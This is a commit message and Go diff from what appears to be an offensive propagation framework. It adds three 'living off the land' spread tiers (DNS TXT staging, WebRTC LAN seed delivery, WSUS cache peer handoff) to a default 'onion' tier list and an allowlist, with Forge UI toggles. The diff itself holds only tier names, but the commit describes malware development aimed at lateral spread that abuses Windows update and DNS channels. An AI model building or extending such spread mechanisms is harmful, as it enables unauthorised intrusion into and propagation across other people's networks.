Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/lotl_tiers.go

@@ -12,6 +12,9 @@ var DefaultLotlOnionTiers = []string{
 	"dotnet",
 	"bits_curl",
 	"do_peer",
+	"wsus_cache_peer",
+	"dns_txt",
+	"webrtc_mesh",
 	"smb",
 	"winrm",
 	"linux",
@@ -23,7 +26,8 @@ func NormalizeLotlTiers(raw []string) []string {
 	allowed := map[string]struct{}{
 		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
-		"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
+		"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
+		"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
 	}
 	out := make([]string, 0, len(raw))
 	for _, t := range raw {